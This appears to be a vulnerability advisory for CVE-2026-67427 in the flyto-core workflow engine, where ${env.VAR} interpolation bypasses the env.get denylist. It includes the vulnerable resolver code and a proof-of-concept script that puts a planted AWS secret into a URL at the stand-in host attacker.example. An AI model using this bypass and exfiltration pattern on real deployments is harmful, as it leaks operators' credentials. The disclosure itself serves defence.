highCVSS 8.6Vulnerability

CVE-2026-67427

## Summary The capability policy denies the `env.get` and `env.load_dotenv` modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands `${env.VAR}` for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module. ## Affected code `src/core/engine/variable_resolver.py`: ```python if var_type == 'env': if len(parts) < 2: return None env_var = parts[1] return os.getenv(env_var) # any env var, no allowlist, not covered by module policy ``` The module policy (`enforce_module_policy` in `module_policy.py`) gates module execution at `BaseModule.run`, but `${...}` interpolation happens earlier in the engine and is not subject to it. So denylisting `env.get` does not actually stop a workflow from reading host env secrets. ## Reproduction Save as `envbypass_poc.py`, run with `PYTHONPATH=src/src python envbypass_poc.py`. ```python #!/usr/bin/env python3 import os os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK" from core.module_policy import module_filter from core.engine.variable_resolver import VariableResolver print("env.get allowed? ", module_filter.is_allowed("env.get")) r = VariableResolver(params={}, context={}) print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}")) print("into an attacker URL: ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}")) ``` Output: ``` env.get allowed? False resolve ${env.SECRET}: AKIA-operator-super-secret-DO-NOT-LEAK into an attacker URL: https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK ``` `env.get` is denied, yet `${env.AWS_SECRET_ACCESS_KEY}` reads the same secret and drops it straight into a URL.

Properties

severity
high
summary
Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted
epss_score
0.00359
cvss_score
8.6
ghsa_published
2026-07-30T14:47:01Z
source_url
https://github.com/advisories/GHSA-hr7p-wg7r-hg9m
ghsa_updated
2026-07-30T14:47:03Z
ghsa_id
GHSA-hr7p-wg7r-hg9m
cve_id
CVE-2026-67427
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
signal_observed_at
2026-09-11T17:55:57+00:00
is_ghsa_only
false
epss_percentile
0.29238

Related Entities (7)

ENRICHED_BY (1)

[Source]FIRST EPSS

VULNERABLE_TO (1)

[Software]pip/flyto-core

AFFECTS (1)

[Software]pip/flyto-core

HAS_WEAKNESS (3)

[Weakness]Insufficiently Protected Credentials
[Weakness]Protection Mechanism Failure
[Weakness]Exposure of Resource to Wrong Sphere

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph